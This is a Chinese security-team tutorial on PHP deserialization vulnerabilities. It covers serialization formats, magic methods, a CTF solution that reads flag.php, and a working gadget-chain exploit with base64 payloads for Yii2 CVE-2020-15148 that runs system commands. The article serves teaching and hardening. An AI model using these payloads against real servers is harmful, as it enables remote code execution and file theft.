九维团队-绿队(改进)| PHP反序列化活学活用
前言
序列化(serialization)在计算机科学的资料处理中,是指数据结构或对象状态转换成可取用格式(例如存成文件,存于缓冲,或经由网络中发送),以留待后续在相同或另一台计算机环境中,能恢复原先状态的过程。从一系列字节提取数据结构的反向操作,便是反序列化。
——wiki百科
序列化及反序列化本身没有问题,但是如果反序列化的内容是用户可控的,且开发人员在反序列化过程中不正当的使用了危险函数,就会导致安全问题。
PHP中的序列化
PHP中通过函数string serialize (mixed $value)进行序列化操作,通过函数mixed unserialize (string $str)进行反序列化操作。
这里通过一个简单的例子看一下:
<?php
class People
{
public $name = "Co";
public $age = 18;
public function PrintPeopleData()
{
echo 'User '.$this->name.' is '.$this->age.' years old.<br>';
}
}
$test = new People();
$test->PrintPeopleData();
$result = serialize($test);
echo $result;
?>
*左右滑动查看更多
运行结果:
User Co is 18 years old.
O:6:"People":2:{s:4:"name";s:2:"Co";s:3:"age";i:18;}
*左右滑动查看更多
O:6:"People":2:{s:4:"name";s:2:"Co";s:3:"age";i:18;}
便是序列化后的格式。
O表示class对象类型,6表示对象名称长度,People表示对象名称,2表示对象中包含的参数数量,{}里是参数的key和value,即
{key1;value1;key2;value2}。
序列化格式解析:
a - array 数组
b - boolean 布尔型
d - double double浮点数据
i - integer int整型
r - reference 对象引用
s - string 字符串
C - custom object 自定义对象序列化
O - class class对象
N - null 空
R - pointer reference 指针引用
U - unicode string Unicode 字符串
PHP魔法函数:
PHP中把以两个下划线_ _开头的方法称为魔术方法(Magic methods),这些方法在某些情况下会自动调用。
__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
*左右滑动查看更多
魔法方法举例演示:
<?php
// error_reporting(0);
class People
{
public $name = "Co";
private $age = 18;
public function __construct()
{
echo "__construct<br>";
}
public function __destruct()
{
echo "__destruct<br>";
}
public function __toString()
{
return "__toString<br>";
}
public function __sleep()
{
echo "__sleep<br>";
return array("name", "age"); #必须返回需要序列化的对象中需要包含哪些参数
}
public function __wakeup()
{
echo "__wakeup<br>";
}
public function __get($name)
{
return $name . " " . "__get<br>";
}
public function __call($name, $arguments)
{
echo $name . " " . "__call<br>";
}
public function __set($name, $value)
{
echo $name . " " . $value . " " . "__set<br>";
}
public function __invoke()
{
echo "__invoke<br>";
}
}
$TestClass = new People(); #创建对象调用__construct
$TestString = serialize($TestClass); #序列化对象调用__sleep
$TestClass2 = unserialize($TestString); #反序列化对象调用__wakeup
echo $TestClass; #将对象作为字符串处理,调用__toString
echo $TestClass->Gender; #调用不存在,或无法访问的参数,调用__get
$TestClass->TestFunciton(); #调用不存在,或无法访问的参数,调用__call
$TestClass->Gender = "man"; #为不存在或无法访问的参数赋值,调用__set
$TestClass(); #将对象当作函数调用,调用__invoke
#脚本结束销毁对象$TestClass和$TestClass2,两次调用__destruct
?>
*左右滑动查看更多
输出结果:
__construct
__sleep
__wakeup
__toString
Gender __get
TestFunciton __call
Gender man __set
__invoke
__destruct
__destruct
__toString()这个魔术方法能触发的因素比较多,以上只演示了echo打印时的触发,这里简单罗列一下其他方式:
1)echo ($obj) / print($obj) 打印时会触发;
2)反序列化对象与字符串连接时;
3)反序列化对象参与格式化字符串时;
4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型);
5)反序列化对象参与格式化SQL语句,绑定参数时;
6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时;
7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用;
8)反序列化的对象作为 class_exists() 的参数的时候;
*左右滑动查看更多
PHP反序列化漏洞
成因
序列化和反序列化本身没有问题,但是若反序列化内容用户可控,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。
当传给unserialize()的参数可控时,可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。
实例1 ([网鼎杯 2020 青龙组]AreUSerialz)
题目源码:
使用buuctf在线环境(https://buuoj.cn/)。
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
*左右滑动查看更多
审计题目题目源码,可以看出题目的一个执行流程:
首先通过GET方法接收str参数,判断其ASCII码是否在32至125之间,这是键盘可以输入的字符范围,判断完成之后,若str符合条件,便对其进行反序化操作,之后便结束代码。
本次题目中只展示了两个魔术方法:
__construct 创建对象时执行
__destruct 销毁对象时执行
本次题目中只通过反序列化产生对象,不触发__construct,程序结束之后销毁$obj,触发__destruct。
在__destruct中程序判断了属性op的值,并将content的内容置为空。
接下来调用process()方法,判断op的值:如果op值为1则进入write()方法,调用file_put_contents()方法,将content内容写入文件filename中;如果op值为2则进入read()方法,调用file_get_contents()方法,读取文件filename的内容。
由于__destruct中将content置为空,只能尝试进入read()方法,通过文件读取获取flag.php的文件内容,在判断op值的时候,使用了===进行强对比(同时对比值和类型),那么便可通过类型绕过对比,维持op的值为2,进入read()方法。
构造环境生成payload:
<?php
class FileHandler {
protected $op = 2;
protected $filename = "flag.php";
protected $content;
}
$test = new FileHandler();
$str = serialize($test);
echo $str;
*左右滑动查看更多
输出结果:*两侧为%00,无法通过is_valid方法。
可通过php7.1+版本对属性类型不敏感的特点进行绕过,将属性改为public进行绕过。
<?php
class FileHandler {
public $op = 2;
public $filename = "flag.php";
public $content;
}
$test = new FileHandler();
$str = serialize($test);
echo $str;
*左右滑动查看更多
输出:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
*左右滑动查看更多
payload利用:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
*左右滑动查看更多
通过查看网页源码读取的flag.php文件内容:
PHP伪协议读取:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
*左右滑动查看更多
解码结果:
<?php $flag='flag{174a1fa2-31d6-40db-b2ff-aafd65b2c99c}';
*左右滑动查看更多
实例2(CVE-2020-15148 yii2反序列化漏洞)
漏洞描述
若开发者在使用yii框架时,在用户可以控制的输入处调用unserialize()并允许特殊字符的情况下,则会受到反序列化远程命令执行漏洞攻击。该漏洞只是php反序列化的执行链,必须配合unserialize()方法才能达成远程代码执行的危害。
影响范围
Yii2 <2.0.38
漏洞分析
首先搭建存在漏洞的版本环境,从github上下载存在漏洞的版本源码:
https://github.com/yiisoft/yii2/releases/download/2.0.37/yii-basic-app-2.0.37.tgz
*左右滑动查看更多
解压源码包,修改 config/web.php 文件,给 cookieValidationKey 配置项添加一个密钥。
添加一个存在漏洞的测试action:
/controllers/TestController.php
*左右滑动查看更多
<?php
namespace app\controllers;
use Yii;
use yii\web\Controller;
class TestController extends Controller{
public function actionTest(){
$data = Yii::$app->request->get('data');
return unserialize(base64_decode($data));
}
}
*左右滑动查看更多
进入yii目录下,使用php yii serve 0.0.0.0:8080启动后,访问测试action:
从GitHub上定位到漏洞修复点:
https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99
*左右滑动查看更多
可以看到添加了__wakeup()方法:调用`unserialize()`反序列化还原`BatchQueryResult`类对象时进行报错处理。
打开
/vendor/yiisoft/yii2/db/BatchQueryResult.php文件分析漏洞成因,BatchQueryResult类中仅使用了一个魔法方法__destruct(),代码如下:
class BatchQueryResult extends BaseObject implements \Iterator
{
/**
......
*/
private $_dataReader;
/**
......
*/
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
/**
......
*/
}
*左右滑动查看更多
__destruct()方法中调用了reset()方法,reset()方法中使用$this->_dataReader调用了close()方法,又因$this->_dataReader是可控的,便可将其赋值为其他类对象,当目标类中无close()方法时,便可触发魔法方法__call()(注:__call() 在对象上下文中调用不可访问的方法时触发)。
全局搜索可以利用的__call()方法:
发现
/vendor/fzaninotto/faker/src/Faker/Generator.php文件中的Faker\Generator类:
<?php
namespace Faker;
class Generator{
/**
......
*/
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
/**
* @param string $formatter
*
* @return Callable
*/
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
/**
......
*/
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
/**
......
*/
}
?>
*左右滑动查看更多
__call()方法中调用了$this->format()方法,format()方法中调用了call_user_func_array()方法,且参数$this->getFormatter($formatter)可控,便可执行任意类中的任意方法,但由于$arguments参数不可控,此处便只能执行不带参数的方法,所以需要进一步查找其他调用了call_user_func_array()方法的不含参方法。
通过正则查找call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+) :
审查后发现yii\rest\CreateAction::run()方法以及yii\rest\IndexAction::run()方法相对比较合适
yii\rest\CreateAction::run()方法代码:
<?php
namespace yii\rest;
class CreateAction extends Action
{
/**
......
*/
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
/* @var $model \yii\db\ActiveRecord */
$model = new $this->modelClass([
'scenario' => $this->scenario,
]);
$model->load(Yii::$app->getRequest()->getBodyParams(), '');
if ($model->save()) {
$response = Yii::$app->getResponse();
$response->setStatusCode(201);
$id = implode(',', array_values($model->getPrimaryKey(true)));
$response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true));
} elseif (!$model->hasErrors()) {
throw new ServerErrorHttpException('Failed to create the object for unknown reason.');
}
return $model;
}
/**
......
*/
}
?>
*左右滑动查看更多
$this->checkAccess、 $this->id均可控,那么该利用链便如下所示:
yii\db\BatchQueryResult::__destruct()->Faker\Generator::__call()->Faker\Generator::format()->yii\rest\CreateAction::run()
*左右滑动查看更多
构造利用代码:
<?php
namespace yii\rest {
class CreateAction
{
public $checkAccess;
public $id;
public function __construct($function, $command)
{
$this->checkAccess = $function;
$this->id = $command;
}
}
}
namespace Faker {
use yii\rest\CreateAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new CreateAction('system', 'ls -al'), 'run'];
}
}
}
namespace yii\db {
use Faker\Generator;
class BatchQueryResult
{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new Generator;
}
}
}
namespace {
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
*左右滑动查看更多
打印内容:
TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ==
*左右滑动查看更多
利用截图:
同理使用yii\rest\IndexAction::run()方法的利用链:
yii\db\BatchQueryResult::__destruct()->Faker\Generator::__call()->Faker\Generator::format()->yii\rest\IndexAction::run()
*左右滑动查看更多
只需将利用链中的CreateAction替换为IndexAction即可,生成的利用代码:
TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6NjoibHMgLWFsIjt9aToxO3M6MzoicnVuIjt9fX19
*左右滑动查看更多
利用截图2:
加固建议
1.反序列化漏洞的前提是序列化内容为用户可控,所以最好的预防措施就是不要将用户的输入或者是用户可控的参数直接放进反序列化的操作中去。
2.谨慎使用魔法方法,避免在使用文件读写、命令或代码执行函数中直接调用用户可控参数。
3.对参数传入进行严格的过滤检查。
— 往期回顾 —
关于安恒信息安全服务团队安恒信息安全服务团队由九维安全能力专家构成,其职责分别为:红队持续突破、橙队擅于赋能、黄队致力建设、绿队跟踪改进、青队快速处置、蓝队实时防御,紫队不断优化、暗队专注情报和研究、白队运营管理,以体系化的安全人才及技术为客户赋能。